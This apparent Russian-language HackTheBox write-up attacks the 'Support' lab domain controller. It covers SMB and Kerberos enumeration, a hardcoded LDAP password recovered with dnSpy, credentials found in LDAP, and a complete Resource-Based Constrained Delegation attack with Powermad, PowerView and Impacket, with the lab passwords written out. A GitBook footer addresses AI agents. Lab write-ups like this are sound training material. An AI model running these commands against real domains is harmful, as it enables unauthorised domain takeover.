> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Разбор Support на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление SMB
* Анализ двоичного файла EXE
* Отладка с помощью DNSpy
* Установка точек останова и получение пароля LDAP в открытом виде (DNSpy)
* Перечисление пользователей Kerberos (kerbrute)
* Перечисление LDAP (ldapsearch)
* Утечка информации
* Злоупотребление группой Remote Management Users (Evil-WinRM)
* Перечисление SharpHound + BloodHound
* Злоупотребление общей учетной записью поддержки (GenericAll) (атака RBCD) (Resource Based Constrained Delegation)
* Атака Resource Based Constrained Delegation - Создание объекта компьютера (powermad.ps1)
* Атака Resource Based Constrained Delegation - PowerView\.ps1
* Атака Resource Based Constrained Delegation - Получение сервиса-билета с имперсонацией (getST.py)
* Использование билета для получения доступа администратора (повышение привилегий)
  {% endhint %}

## Разведка <a href="#reconnaissance" id="reconnaissance"></a>

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/a5ca13f9b3b712fea8f2c8fd40d9464223380307" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/a295d5378bdabca8a09297502c00e3d2948df50a" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и извлечения информации в файл "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/97c4fab25d61df3cc55f2d91c56a9ecaa5cdac0d" alt=""><figcaption></figcaption></figure>

## **Перечисление DC:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### Список SMB:

Использование CrackMapExec для перечисления SMB.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/2729506d78a2046358835a250a3e596a83c26b5d" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

<figure><img src="/files/ae4fd5868497d6449f31e69810be58ebea17e6a3" alt=""><figcaption></figcaption></figure>

### **Список Kerberos:**

Использование Kerbrute для перечисления пользователей.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/7f58269f4d86498ccc67cca606ae303c0c7fa736" alt=""><figcaption></figcaption></figure>

### **Исследование сетевых общих ресурсов:**

Поиск общих папок в сети.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/b347a93164f8ae7bc63ed9a26a566447638841f3" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/3517486d055326e0455bb878a6430fc16f16dd3a" alt=""><figcaption></figcaption></figure>

Мы обнаруживаем интересный zip-файл под названием "UserInfo-exe-zip". Чтобы продолжить, мы используем `get` команду, чтобы скачать его на нашу машину.

<figure><img src="/files/add809a6008a6f08f6c17e48a12def66083e60b7" alt=""><figcaption></figcaption></figure>

### /*/* Анализ двоичного файла Windows\:/*/*

Мы запустим исполняемый файл Windows на машине с Windows.

Для этого нам нужно:

1. Передать ZIP-архив

<figure><img src="/files/52056247f8621300bb753195a0bea0cf5c62a347" alt=""><figcaption></figcaption></figure>

2. Миграция конфигурации VPN
3. `/etc/hosts` Конфигурация

<figure><img src="/files/bef008421c46d838bed5f517940436f96c6e4503" alt=""><figcaption></figcaption></figure>

Чтобы запустить двоичный файл и определить всех действительных пользователей, просто введите следующую команду

```bash
./UserInfo.exe find -first * -last *
```

#### Этот двоичный файл позволит нам перечислить пользователей.

<figure><img src="/files/69d080af8f91476d0ad33e776910f51ec1f4bf2d" alt=""><figcaption></figcaption></figure>

#### Анализ файла двоичного кода Windows, загруженного с помощью DNSpy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/a6db10950edb1d80e3a5235176ad6453a9b7a628" alt=""><figcaption></figcaption></figure>

### **Извлечение пароля в открытом виде:**

Использование DNSpy для извлечения пароля в открытом виде из двоичного файла Windows.

<figure><img src="/files/e50c35de4a1ea0a78b2ea666e3416ed5a8c13bbe" alt=""><figcaption></figcaption></figure>

Мы запустим программу, но остановимся только в разделе, где текст отображается открыто.

<figure><img src="/files/1545c49246c3cab2278f297d47ba9d819ed063f0" alt=""><figcaption></figcaption></figure>

Вот пароль LDAP:

<figure><img src="/files/866ceeadfb5b6e059f062578e9e7710a5958facd" alt=""><figcaption></figcaption></figure>

### **Проверка LDAP-пароля:**

Проверка извлеченного пароля с помощью CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/43a3db0414c093894d2ed221d0d63262e4d3dd6d" alt=""><figcaption></figcaption></figure>

### Список домена:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Пользователи домена

```
enumdomusers
```

<figure><img src="/files/692942bcbc2eb384eb85adfc08c478ca679d65a0" alt=""><figcaption></figcaption></figure>

#### Группы домена

```bash
enumdomgroups
```

<figure><img src="/files/16a091be01765a7161e795c0f00fa3b28c275ce0" alt=""><figcaption></figcaption></figure>

#### Описания пользователей:

```bash
querydispinfo
```

<figure><img src="/files/b61696d9ac8b96d4216c81475f1f2ed7d3bb7be9" alt=""><figcaption></figcaption></figure>

#### Поместить всех действительных пользователей домена в файл.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/32d54776db75708d8c08ae0c0cb5eea9ec3f3fbe" alt=""><figcaption></figcaption></figure>

#### Теперь мы проверим, используется ли LDAP-пароль повторно для одного из следующих пользователей:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

Однако это не работает.

<figure><img src="/files/97abe260b4d82acd40fcfb92e0bb14b5d8fb3f68" alt=""><figcaption></figcaption></figure>

### **Список LDAP:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Использование LDAP search для перечисления информации.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Доступно много данных, однако при применении фильтра к информации о песне обнаруживается пароль пользователя support.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/fec5c15806c1d8cdf3344eaa286b0f97254cacb0" alt=""><figcaption></figcaption></figure>

## **Эксплуатация:**

#### Используйте CrackMapExec, чтобы подтвердить пароль, связанный с учетной записью support.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Этот пользователь входит в группу удаленного управления, что позволяет нам подключаться через Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Использование Evil-WinRM:**

Подключиться к целевой системе через Evil-WinRM, используя найденную информацию.

<figure><img src="/files/c6c3150367d6847cbaf08cc0c85fec243bb551e2" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### **Проверка текущих привилегий:**<br>

Используя `whoami /priv` команда для проверки привилегий пользователя, безуспешно.<br>

<figure><img src="/files/598a483daed94f1a407f0388925d55f1309217ae" alt=""><figcaption></figcaption></figure>

### **Анализ групповой принадлежности:**

Используя `net user support` команда для просмотра групп, к которым принадлежит пользователь.

Обнаружение, по-видимому, редкой группы, "shared support accounts".

<figure><img src="/files/0e4cf2bf77da39b16b11e1affdd6875f772d8250" alt=""><figcaption></figcaption></figure>

### **Использование BloodHound для анализа привилегий:**

#### Использование инструмента BloodHound для построения карты отношений доступа.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/08929e04782140d80601f2647e06f307252b8da9" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/52068904728bf1fb5a0c58ba61a17f302fa32105" alt=""><figcaption></figcaption></figure></div>

### **Запуск SharpHound для дальнейшего анализа:**

Использование SharpHound, инструмента, дополняющего BloodHound, для сбора дополнительных данных об отношениях доступа.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/ae834fd6ed2733651c4f162ae0a78074d08d36d1" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/60da4218e646e05e8d22bd71c08f6cc155a1a14f" alt=""><figcaption></figcaption></figure>

## Атака Resource Based Constrained Delegation:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Выявление уязвимости атаки Resource Based Constrained Delegation:**

<div data-full-width="true"><figure><img src="/files/a3b3c01c730e7301be5471afb32a86baf8cf65da" alt=""><figcaption></figcaption></figure></div>

#### Развертывание скрипта Powermad для создания учетной записи компьютера.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Использование PowerView для проверки создания учетной записи компьютера.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/467bf29d9923e93ed1a407551fa0f174825b332a" alt=""><figcaption></figcaption></figure></div>

#### Определение разрешений для учетной записи компьютера с помощью команд PowerShell.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### С помощью этой команды мы проверяем, работает ли вся процедура 'Get-DomainComputer dc', используя свойства 'msds-allowedtoactonbehalfofather identity'.

<div data-full-width="true"><figure><img src="/files/d9d688273937ddbdb86de5806e385cc198e82969" alt=""><figcaption></figcaption></figure></div>

### **Эксплуатация уязвимости**

#### Использование инструмента Impacket для выполнения `getST` команды для получения TGT-билета, выдаваемого от имени пользователя Administrator.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/aea6f54c1e9290755c42f8da5c3242fc82bba046" alt=""><figcaption></figcaption></figure>

#### Настройте среду Kerberos для Administrator, экспортировав `KRB5CCNAME`, затем подключитесь к целевой системе с помощью Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/9febfad1b62932baf6a9522d5edcf1581cacf67e" alt=""><figcaption></figcaption></figure>

### Финальный флаг :)

<figure><img src="/files/fbfeeffa8b5cf1f9ba04b241a4ce64235f5ba765" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b6b514d8bfdb98179add16d9e0e9a8c4ff1ebd51" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
